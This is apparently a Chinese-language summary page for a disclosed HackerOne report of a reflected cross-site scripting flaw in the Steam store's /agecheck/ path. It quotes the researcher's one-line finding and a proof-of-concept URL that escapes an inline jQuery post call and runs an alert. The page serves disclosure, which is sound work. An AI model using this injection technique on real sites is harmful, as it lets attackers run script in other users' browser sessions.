XSS @ store.steampowered.com via agecheck path name
该报告还没有中文解读。
原文摘录
摘自原文（679 字符中的一小部分）
I found a Cross-Site Scripting (XSS) in store.steampowered.com because the path after /agecheck/ is not sanitized as it should.
原文中的代码
https://store.steampowered.com/agecheck/appmhuh2',{ sessionid: g_sessionID, ageDay: '', ageMonth: '', ageYear: '' } ).done( function( response ) { }%20 );}alert`XSS-by-TvM`;function x(){$J.post('mr2n2/247660/默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Valve 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @tvmpt · 版权归作者与 Valve 所有